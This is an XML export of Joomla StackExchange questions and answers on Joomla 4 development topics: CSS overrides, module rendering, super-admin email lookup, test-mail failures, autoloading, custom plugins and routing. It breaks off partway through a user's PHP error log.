  <row Id="32361" PostTypeId="1" CreationDate="2022-09-02T07:18:13.533" Score="1" ViewCount="318" Body="&lt;p&gt;Some years ago, the question of how to load CSS in a way that permits a template override was answered &lt;a href=&quot;https://joomla.stackexchange.com/questions/13939/how-to-override-an-extension-css-file&quot;&gt;here&lt;/a&gt; with:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; JHtml::_('stylesheet', 'mod_module/style.css', ['relative' =&amp;gt; true]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Recently, I found it seemed not to work with Joomla 3.10.11 but the following did:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; use Joomla\CMS\HTML\HTMLHelper;&#xA; ... &#xA; HTMLHelper::_('stylesheet', 'component/com_component/component.css', ['relative' =&amp;gt; true], false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, it did not work in Joomla 4, no CSS was loaded. What is the code to use for Joomla 4? Is there code that will work in both 3.10.x and Joomla 4.x?&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="15057" LastEditDate="2022-09-02T10:16:24.940" LastActivityDate="2024-01-25T15:07:06.400" Title="Load CSS so as to be able to be overriden Joomla 4" Tags="|css|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32362" PostTypeId="2" ParentId="23349" CreationDate="2022-09-02T09:47:01.383" Score="0" Body="&lt;p&gt;If you can't access jdoc:include in any place, you can include modules with PHP:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$doc = JFactory::getDocument();&#xA;$renderer = $doc-&amp;gt;loadRenderer( 'modules' );&#xA;echo $renderer-&amp;gt;render( 'footer', ['style' =&amp;gt; 'html5'], null );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15972" LastEditorUserId="12352" LastEditDate="2022-09-07T20:09:55.853" LastActivityDate="2022-09-07T20:09:55.853" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32363" PostTypeId="2" ParentId="32360" CreationDate="2022-09-02T10:53:02.883" Score="0" Body="&lt;p&gt;The requirements for joomla 4.x: &lt;a href=&quot;https://downloads.joomla.org/technical-requirements&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/technical-requirements&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, &lt;strong&gt;your issue may be caused by a bug in the &lt;code&gt;System - WebAuthn Passwordless Login&lt;/code&gt;&lt;/strong&gt; Plugin.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bug report: &lt;a href=&quot;https://github.com/joomla/joomla-cms/issues/38662&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/issues/38662&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Fix (a PR for next Joomla release): &lt;a href=&quot;https://github.com/joomla/joomla-cms/pull/38664&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/pull/38664&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;A temporary workaround is to disable the &lt;code&gt;System - WebAuthn Passwordless Login&lt;/code&gt; plugin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-09-02T10:53:02.883" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32364" PostTypeId="2" ParentId="32361" CreationDate="2022-09-02T11:14:41.390" Score="0" Body="&lt;p&gt;Joomla 4 implements the concept of Web Assets Manager, with which you need to include and use various assets - js and css.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets&quot; rel=&quot;nofollow noreferrer&quot;&gt;Official docs&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://jpath.ru/docs/output/js-css/kak-pravilno-podklyuchat-javascript-i-css-v-joomla-4&quot; rel=&quot;nofollow noreferrer&quot;&gt;There is an article about it&lt;/a&gt; (in Russian)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/29044/how-to-use-joomla-asset-json-correctly&quot;&gt;Answer on SO&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13868" LastActivityDate="2022-09-02T11:14:41.390" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32365" PostTypeId="1" CreationDate="2022-09-02T21:48:03.650" Score="0" ViewCount="108" Body="&lt;p&gt;Where a component wants to notify a super admin of some event, what is the best way to obtain a super admin email address?&lt;/p&gt;&#xA;&lt;p&gt;(For background, I originally coded this as a database query, looking for users who were members of the group with title &amp;quot;Super Users&amp;quot;. However, I discovered that this only works for an English site as the group title is altered to the local language. It would be possible to look for members of the group with ID 8, but hard coding a number seems a poor solution).&lt;/p&gt;&#xA;" OwnerUserId="15057" LastEditorUserId="15057" LastEditDate="2022-09-03T11:15:32.973" LastActivityDate="2022-09-08T06:58:56.467" Title="What is the best way to retrieve the email address of a super admin" Tags="|administrator|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32367" PostTypeId="2" ParentId="32354" CreationDate="2022-09-03T11:37:43.530" Score="0" Body="&lt;p&gt;I ended up addressing this by not setting the parent_id and level values when I initially created the menu items with &lt;code&gt;menu-&amp;gt;store()&lt;/code&gt;. Instead, once that process had completed and it passed me back the id for the new menu item, that enabled me to construct a database update so I could manually update those two values that way instead.&lt;/p&gt;&#xA;&lt;p&gt;Not quite the nice neat way I was hoping for but it's got the job done.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2022-09-03T11:37:43.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32368" PostTypeId="1" CreationDate="2022-09-04T10:58:21.000" Score="2" ViewCount="334" Body="&lt;p&gt;I have been writing a custom joomla 4.x component.  It's not working.  But rather than getting people here to debug my code I want to know how to set up a proper development environment that will give me either automated tests or failing that a verbose error message on running the code.&lt;/p&gt;&#xA;&lt;p&gt;This question is very old and was not fully answered:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/21754/how-to-setup-a-proper-extension-development-environment&quot;&gt;How to setup a proper extension development environment?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;It mentions Docker.  Does this help with error logging?&lt;br /&gt;&#xA;What about Composer?&lt;br /&gt;&#xA;Can PHP-unit be used for this edition?  I seem to recall there was a different preferred unit test package for joomla 3.x.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2024-01-16T16:22:59.803" Title="How to create a (better) development environment for Joomla 4" Tags="|development|extensions|custom-component|joomla-4.x|debug|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32369" PostTypeId="2" ParentId="32368" CreationDate="2022-09-04T15:06:54.023" Score="4" Body="&lt;p&gt;I've not used Docker so I can't help with that, but I have xdebug set up on my local environment in combination with PHPStorm and that is a big help in enabling me to figure out why something's not working as expected.&lt;/p&gt;&#xA;&lt;p&gt;I can set breakpoints wherever I want in my code and when I refresh the page with xdebug running, it will pause at the first breakpoint and I can inspect all the current variables to see if they are doing what I expect. From that breakpoint I can then either step through the code one line at a time, or continue running the code so it'll stop at the next breakpoint if there are any.&lt;/p&gt;&#xA;" OwnerUserId="15973" LastActivityDate="2022-09-04T15:06:54.023" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32370" PostTypeId="1" CreationDate="2022-09-04T20:45:04.227" Score="0" ViewCount="137" Body="&lt;p&gt;I get the messages &amp;quot;Test mail could not be sent.&amp;quot; when I use the 'Send Test Email' button in Joomla 4.2.1 - on two sites. I have checked the SMTP settings and all OK. I know that the server will send emails as set up because the Contact forms work fine.  But according to that message the settings are wrong!&lt;/p&gt;&#xA;&lt;p&gt;Any suggestions about how to fix that? I have run Reinstall Joomla! core files with no improvement.&lt;/p&gt;&#xA;" OwnerUserId="16582" LastEditorUserId="12352" LastEditDate="2022-09-05T07:45:38.800" LastActivityDate="2024-01-30T04:09:21.223" Title="Joomla 4.2 admin &quot;Test mail could not be sent.&quot; message though mail works" Tags="|administrator|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32371" PostTypeId="2" ParentId="32368" CreationDate="2022-09-05T11:23:19.270" Score="3" Body="&lt;p&gt;I use PHPStorm + Xdebug. I used to use my own LAMP stack on my Linux computer.  Earlier this year I switched to a very nice docker environment &lt;code&gt;docker-lamp&lt;/code&gt; created by Guido De Gobbis.&lt;/p&gt;&#xA;&lt;p&gt;It's a bit difficult to setup but when you have it running, you'll have awesome functionality: http/https, mySQL/MariaDB, phpMyAdmin, mailhog (mail catcher) and different PHP versions at the same time. Normally When you close a MySQL docker container, you'll lose your database's data. This &lt;code&gt;docker-lamp&lt;/code&gt; environment creates SQL dumps during shutdown and loads them again during the next startup.&lt;/p&gt;&#xA;&lt;p&gt;If you want to try it, make sure that you &lt;strong&gt;take the 2.0.0 branch or more recent&lt;/strong&gt;: &lt;a href=&quot;https://github.com/degobbis/docker-lamp/tree/2.0.0-dev&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/degobbis/docker-lamp/tree/2.0.0-dev&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="12352" LastEditDate="2022-09-05T12:37:59.863" LastActivityDate="2022-09-05T12:37:59.863" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32372" PostTypeId="1" AcceptedAnswerId="32377" CreationDate="2022-09-05T15:33:18.270" Score="2" ViewCount="137" Body="&lt;p&gt;I need a Joomla 4 Plugin to overwrite a marker in Custom Fields of type text or textarea with the article's title.&lt;/p&gt;&#xA;&lt;p&gt;I added a &lt;code&gt;onPrepareContent()&lt;/code&gt; method where I have access to the articles title as well as the custom field. Here is what I did so far:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgContentMyReplacer extends CMSPlugin&#xA;{&#xA;    ...&#xA;&#xA;    public function onContentPrepare($context, &amp;amp;$article, &amp;amp;$params, $page = 0)&#xA;    { &#xA;        if(!in_array($context, array('com_content.article')))&#xA;        {&#xA;            return true;&#xA;        } &#xA;            &#xA;        $article-&amp;gt;jcfields[7]-&amp;gt;value = str_replace('[LOCATION]', $article-&amp;gt;title, $article-&amp;gt;jcfields[7]-&amp;gt;value); // This seems not to work&#xA;    &#xA;        return true; &#xA;    }&#xA;&#xA;    ...&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;$article-&amp;gt;jcfields[7]&lt;/code&gt; is my custom field and &lt;code&gt;[LOCATION]&lt;/code&gt; the marker I want to replace with the article's title.&lt;/p&gt;&#xA;&lt;p&gt;This approach seems not to work. How can I overwrite the custom field's data before sending it to the browser?&lt;/p&gt;&#xA;" OwnerUserId="15765" LastEditorUserId="12352" LastEditDate="2022-09-07T20:13:38.493" LastActivityDate="2022-09-07T20:13:38.493" Title="Joomla 4 Plugin to overwrite value of a custom field" Tags="|plugin|articles|joomla-4.x|content-plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32373" PostTypeId="1" CreationDate="2022-09-05T15:48:45.697" Score="1" ViewCount="485" Body="&lt;p&gt;After the recent update I have a bug where frontend settings are displayed on the homepage even tho I disabled &amp;quot;configuration -&amp;gt; frontend editing&amp;quot;.&#xA;I attached a picture of the settings.&lt;/p&gt;&#xA;&lt;p&gt;Does someone know how to disable this? I can't find it and I dont wanna hardcode a &amp;quot;hide&amp;quot; in my css.&lt;/p&gt;&#xA;&lt;p&gt;Thank you in advance&lt;img src=&quot;https://i.stack.imgur.com/xoxlH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="16372" LastEditorUserId="16372" LastEditDate="2022-09-05T17:41:46.613" LastActivityDate="2022-09-07T08:37:46.963" Title="Joomla 4 how to hide admin frontend edits" Tags="|joomla-4.x|module-display|bugs|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32374" PostTypeId="2" ParentId="32373" CreationDate="2022-09-06T12:04:22.300" Score="1" Body="&lt;p&gt;The picture looks like it's a custom module, so it might not be a bug in Joomla.&lt;/p&gt;&#xA;&lt;p&gt;Maybe the module doesn't honour the variable &quot;jform_frontediting&quot; in it's display part. It happend to me too when I used standard includes/renders and forgot to get those variables that might suppress output.&lt;/p&gt;&#xA;&lt;p&gt;The hiding of front editing on my Joomla sites works well with standard moduls when disabled.&lt;/p&gt;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&lt;p&gt;I searched for *frontediting* in the Joomla files. There's a file libraries\src\Document\Renderer\Html\ModulesRenderer.php where frontediting is used to generate or not the icons.&#xA;&lt;/p&gt;&#xA;&lt;p&gt;So I guess if you use the renderer classes of Joomla in your module, the icons should disappear. Alternatively you can switch them off in CSS, if you don't need them any time.&lt;/p&gt;&#xA;&lt;p&gt;HTH, I'm not an expert and starting myself to understand the programming of Joomla 4&lt;/p&gt;&#xA;" OwnerUserId="13921" LastEditorUserId="13921" LastEditDate="2022-09-07T08:37:46.963" LastActivityDate="2022-09-07T08:37:46.963" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32375" PostTypeId="1" CreationDate="2022-09-07T02:02:25.377" Score="2" ViewCount="808" Body="&lt;p&gt;I have two two Classes in separate files in the same directory both with the same namespace and yet when one Class requests the other Class it is not found. The only way I have been able to get this to work is to use a &lt;code&gt;require_once&lt;/code&gt; which is not how I think it should be and I am going around in circles trying to find the cause and I think I am missing something simple.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_inventorydata/src/Model/ItemsModel.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bricks\Component\Inventorydata\Administrator\Model;&#xA;&#xA;...&#xA;use Bricks\Component\Inventorydata\Administrator\Model\Inventory;&#xA;class ItemsModel extends ListModel&#xA;...&#xA;    public function getRecords()&#xA;    {&#xA;        require_once('Inventory.php');     //Shouldn't be required.&#xA;        $records    = new Inventory();     //Unable to find this class.&#xA;        $test       = $records-&amp;gt;query;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;administrator/components/com_inventorydata/src/Model/Inventory.php&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Bricks\Component\Inventorydata\Administrator\Model;&#xA;...&#xA;class Inventory &#xA;{&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The IDE(PHPStorm) indicates that &lt;code&gt;use Bricks\Component\Inventorydata\Administrator\Model\Inventory;&lt;/code&gt; in &lt;code&gt;ItemsModel.php&lt;/code&gt; is not required and is greyed out.&lt;/p&gt;&#xA;&lt;p&gt;Without the &lt;code&gt;require_once&lt;/code&gt; statement before trying to instantiate Inventory() in &lt;code&gt;ItemsModel.php&lt;/code&gt; I get a Class not found message.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GDATh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GDATh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have stepped through the processing watching it try to find the class of Inventory and it eventually returns a &lt;code&gt;false&lt;/code&gt; and adds it to the missingClasses properties.&lt;/p&gt;&#xA;&lt;p&gt;In the debug what I see looks okay to me, but then this is the first time I have had to look closely at this area of code so what do I know.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$class = &amp;quot;Bricks\Component\Inventorydata\Administrator\Model\Inventory&amp;quot;&#xA;$ext = &amp;quot;.php&amp;quot;&#xA;$first = &amp;quot;B&amp;quot;&#xA;$lastPos = false&#xA;$logicalPathPsr0 = &amp;quot;Bricks\Component\Inventorydata\Administrator\Model\Inventory.php&amp;quot;&#xA;$logicalPathPsr4 = &amp;quot;Bricks\Component\Inventorydata\Administrator\Model\Inventory.php&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Not that I think it is related but the components folder is a &lt;code&gt;symlink&lt;/code&gt; to my development directories.&lt;/p&gt;&#xA;&lt;p&gt;Any assistance appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Update 8 Sept.&#xA;&lt;strong&gt;From manifest&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;namespace path=&amp;quot;src&amp;quot;&amp;gt;Bricks\Component\InventoryData&amp;lt;/namespace&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2022-09-07T22:43:25.927" LastActivityDate="2022-09-07T22:43:25.927" Title="Why is my class not found in Joomla 4?" Tags="|joomla-4.x|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32376" PostTypeId="2" ParentId="32370" CreationDate="2022-09-07T02:36:28.077" Score="0" Body="&lt;p&gt;It is difficult to give you an exact answer without any more details or being able to debug your processing but looking at the code that is running I might be able to give you somewhere to look.&lt;/p&gt;&#xA;&lt;p&gt;If you switch Error Reporting to Maximum in Global Config, third tab across, and Debug System to Yes, second tab, you might get more useful messages that narrow down where the problem is occurring. You may need to turn Gzip off also.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4pQ71.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4pQ71.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2CnGQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2CnGQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The error message you are receiving is coming from &lt;code&gt;administrator/components/com_config/src/Model/ApplicationModel.php&lt;/code&gt; in the last function, &lt;code&gt;sendTestMail()&lt;/code&gt; on the second last line. I suspect that the line &lt;code&gt;$mailSent = $mailer-&amp;gt;send();&lt;/code&gt; is returning something other than &lt;code&gt;true&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    public function sendTestMail()&#xA;{&#xA;    // Set the new values to test with the current settings&#xA;    $app = Factory::getApplication();&#xA;    $user = Factory::getUser();&#xA;    $input = $app-&amp;gt;input-&amp;gt;json;&#xA;    $smtppass = $input-&amp;gt;get('smtppass', null, 'RAW');&#xA;&#xA;    $app-&amp;gt;set('smtpauth', $input-&amp;gt;get('smtpauth'));&#xA;    $app-&amp;gt;set('smtpuser', $input-&amp;gt;get('smtpuser', '', 'STRING'));&#xA;    $app-&amp;gt;set('smtphost', $input-&amp;gt;get('smtphost'));&#xA;    $app-&amp;gt;set('smtpsecure', $input-&amp;gt;get('smtpsecure'));&#xA;    $app-&amp;gt;set('smtpport', $input-&amp;gt;get('smtpport'));&#xA;    $app-&amp;gt;set('mailfrom', $input-&amp;gt;get('mailfrom', '', 'STRING'));&#xA;    $app-&amp;gt;set('fromname', $input-&amp;gt;get('fromname', '', 'STRING'));&#xA;    $app-&amp;gt;set('mailer', $input-&amp;gt;get('mailer'));&#xA;    $app-&amp;gt;set('mailonline', $input-&amp;gt;get('mailonline'));&#xA;&#xA;    // Use smtppass only if it was submitted&#xA;    if ($smtppass !== null)&#xA;    {&#xA;        $app-&amp;gt;set('smtppass', $smtppass);&#xA;    }&#xA;&#xA;    $mail = Factory::getMailer();&#xA;&#xA;    // Prepare email and try to send it&#xA;    $mailer = new MailTemplate('com_config.test_mail', $user-&amp;gt;getParam('language', $app-&amp;gt;get('language')), $mail);&#xA;    $mailer-&amp;gt;addTemplateData(&#xA;        array(&#xA;            'sitename' =&amp;gt; $app-&amp;gt;get('sitename'),&#xA;            'method' =&amp;gt; Text::_('COM_CONFIG_SENDMAIL_METHOD_' . strtoupper($mail-&amp;gt;Mailer))&#xA;        )&#xA;    );&#xA;    $mailer-&amp;gt;addRecipient($app-&amp;gt;get('mailfrom'), $app-&amp;gt;get('fromname'));&#xA;&#xA;    try&#xA;    {&#xA;          $mailSent = $mailer-&amp;gt;send();&#xA;    }&#xA;    catch (MailDisabledException | phpMailerException $e)&#xA;    {&#xA;         .... This bit of code isn't running so I don't think it is&#xA;              causing an exception &#xA;&#xA;    }&#xA;&#xA;    if ($mailSent === true)&#xA;    {&#xA;     .... This code only runs if your mail was successful.&#xA;    }&#xA;&#xA;    $app-&amp;gt;enqueueMessage(Text::_('COM_CONFIG_SENDMAIL_ERROR'), 'error');&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-09-07T02:36:28.077" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32377" PostTypeId="2" ParentId="32372" CreationDate="2022-09-07T19:01:09.457" Score="1" Body="&lt;p&gt;I finally found the solution. I had to switch to a system Plugin. There inside the onAfterRender() function I can grab the whole body and the document title and replace the marker - like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function onAfterRender()&#xA;{ &#xA;    $body = $this-&amp;gt;app-&amp;gt;getBody();&#xA;    $document = $this-&amp;gt;app-&amp;gt;getDocument();&#xA;    $title = $document-&amp;gt;getTitle();&#xA;        &#xA;    $body = str_replace('[LOCATION]', $title, $body);&#xA;    $this-&amp;gt;app-&amp;gt;setBody($body);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15765" LastActivityDate="2022-09-07T19:01:09.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32378" PostTypeId="2" ParentId="32365" CreationDate="2022-09-08T04:56:26.283" Score="1" Body="&lt;p&gt;Based on the comment by @Glen Arkell the most sensible thing seems to be to send admin emails to people who have the &amp;quot;receive system email&amp;quot; flag set.&lt;/p&gt;&#xA;" OwnerUserId="15057" LastActivityDate="2022-09-08T04:56:26.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32379" PostTypeId="2" ParentId="32365" CreationDate="2022-09-08T06:58:56.467" Score="0" Body="&lt;p&gt;There is no helper function for this but there are a few places in core extensions where this is done. The first part is getting the user groups with super admin permissions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Access\Access;&#xA;use Joomla\CMS\Table\Table;&#xA;&#xA;// Get root asset ID&#xA;$rootId = Table::getInstance('Asset')-&amp;gt;getRootId();&#xA;&#xA;// Get root asset rules.&#xA;$rules = Access::getAssetRules($rootId)-&amp;gt;getData();&#xA;&#xA;// Get root asset user groups.&#xA;$groups = $rules['core.admin'] ? $rules['core.admin']-&amp;gt;getData() : [];&#xA;&#xA;// Filter out disallowed groups.&#xA;$superUserGroups = array_filter($groups);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Once you have these, make a database query to get the emails:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;if ($superUserGroups)&#xA;{&#xA;    $db = Factory::getDbo(true);&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('u.email')&#xA;        -&amp;gt;from('#__users AS u')&#xA;        -&amp;gt;join(&#xA;            'INNER',&#xA;            '#__user_usergroup_map AS g',&#xA;            'u.id = g.user_id',&#xA;        )&#xA;        -&amp;gt;whereIn('g.group_id', $superUserGroups);&#xA;&#xA;    // Load the email addresses and remove duplicates.&#xA;    $superUserEmails = array_unique($db-&amp;gt;setQuery($query)-&amp;gt;loadColumn());&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can, of course, modify the above query with additional conditions to ensure only unblocked users and/or only users with &amp;quot;Receive System Email&amp;quot; option are selected:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$query-&amp;gt;where('u.block = 0')&#xA;    -&amp;gt;where('u.sendEmail = 1');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Also instead of removing duplicates with &lt;code&gt;array_unique()&lt;/code&gt;, the query can be modified to use &lt;code&gt;DISTINCT&lt;/code&gt; or &lt;code&gt;GROUP&lt;/code&gt; clause to retrieve a unique list in the first place. But this would probably be slower in most cases.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-09-08T06:58:56.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32380" PostTypeId="1" AcceptedAnswerId="32412" CreationDate="2022-09-09T05:33:17.327" Score="1" ViewCount="537" Body="&lt;p&gt;I am using Joomla 4.2.1. I installed custom component which is previously used into Joomla 3.10.11.&lt;/p&gt;&#xA;&lt;p&gt;I create a menu item with view from this component.&lt;/p&gt;&#xA;&lt;p&gt;On Joomla 3.10.11 it works fine&lt;/p&gt;&#xA;&lt;p&gt;for example : &lt;a href=&quot;http://mylocal.local/index.php/kurse-nach-datum&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mylocal.local/index.php/kurse-nach-datum&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But&lt;/p&gt;&#xA;&lt;p&gt;on Joomla 4.2.1 it create url with view name&lt;/p&gt;&#xA;&lt;p&gt;For example : &lt;a href=&quot;http://mylocal.local/index.php/kurse-nach-datum/courses&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mylocal.local/index.php/kurse-nach-datum/courses&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;kurse-nach-datum is the Alias of link&lt;/p&gt;&#xA;&lt;p&gt;and link is index.php?option=com_course&amp;amp;view=courses&lt;/p&gt;&#xA;&lt;p&gt;Router.php&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;/**&#xA; * @version     3.4.0&#xA; * @package     com_course&#xA; * @copyright   Copyright (C) 2015. All rights reserved.&#xA; * @license&#xA; * @author      -&#xA; */&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;/**&#xA; * @param   array   A named array&#xA; * @return  array&#xA; */&#xA;function CourseBuildRoute(&amp;amp;$query) {&#xA;    $segments = array();&#xA;&#xA;    if (isset($query['task'])) {&#xA;        $segments[] = implode('/', explode('.', $query['task']));&#xA;        unset($query['task']);&#xA;    }&#xA;    if (isset($query['view'])) {&#xA;        $segments[] = $query['view'];&#xA;        unset($query['view']);&#xA;    }&#xA;    if (isset($query['id'])) {&#xA;        $segments[] = $query['id'];&#xA;        unset($query['id']);&#xA;    }&#xA;&#xA;    return $segments;&#xA;}&#xA;&#xA;/**&#xA; * @param   array   A named array&#xA; * @param   array&#xA; *&#xA; * Formats:&#xA; *&#xA; * index.php?/course/task/id/Itemid&#xA; *&#xA; * index.php?/course/id/Itemid&#xA; */&#xA;function CourseParseRoute($segments) {&#xA;    $vars = array();&#xA;    // view is always the first element of the array&#xA;    $vars['view'] = array_shift($segments);&#xA;&#xA;    while(!empty($segments)) {&#xA;&#xA;        $segment = array_pop($segments);&#xA;        if (is_numeric($segment)) {&#xA;            $vars['id'] = $segment;&#xA;        } else {&#xA;            $vars['task'] = $vars['view'] . '.' . $segment;&#xA;        }&#xA;    }&#xA;&#xA;    return $vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16588" LastEditorUserId="16588" LastEditDate="2022-09-20T07:18:45.503" LastActivityDate="2022-09-22T07:47:04.237" Title="Remove component's view name from url joomla 4" Tags="|joomla-4.x|joomla-4|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32381" PostTypeId="1" CreationDate="2022-09-09T13:40:01.913" Score="1" ViewCount="1366" Body="&lt;p&gt;All my sites are crashing when the login module is brought up from a link. If the module is left on the site (without a link) the site crashes. I still have admin access and I have disabled the login module. Here is the error message:&lt;/p&gt;&#xA;&lt;p&gt;Error: 0&#xA;You may not be able to visit this page because of:&lt;/p&gt;&#xA;&lt;p&gt;an out-of-date bookmark/favourite&#xA;a search engine that has an out-of-date listing for this site&#xA;a mistyped address&#xA;you have no access to this page&#xA;The requested resource was not found.&#xA;An error has occurred while processing your request.&#xA;Please try one of the following pages:&lt;/p&gt;&#xA;&lt;p&gt;Home Page&#xA;Search this site&#xA;If difficulties persist, please contact the website administrator and report the error below..&lt;/p&gt;&#xA;&lt;p&gt;count(): Argument #1 ($value) must be of type Countable|array, null given&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Deleted and reestablished front-end login module&lt;/li&gt;&#xA;&lt;li&gt;I still have admin access and I have disabled the front-end login module.&lt;/li&gt;&#xA;&lt;li&gt;Ran the update on 3 other Joomla installs with varying installed modules. Same results.&lt;/li&gt;&#xA;&lt;li&gt;I use TemplateToaster for templates. I have tried other templates. Same results.&lt;/li&gt;&#xA;&lt;li&gt;No errors in Joomla Update log&lt;/li&gt;&#xA;&lt;li&gt;PHP error log:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h1&gt;&lt;/h1&gt;&#xA;&lt;p&gt;#&#xA;#Date: 2022-09-08 23:50:26 UTC&#xA;#Software: Joomla! 4.1.5 Stable [ Kuamini ] 21-June-2022 14:00 GMT&lt;/p&gt;&#xA;&lt;p&gt;#Fields: 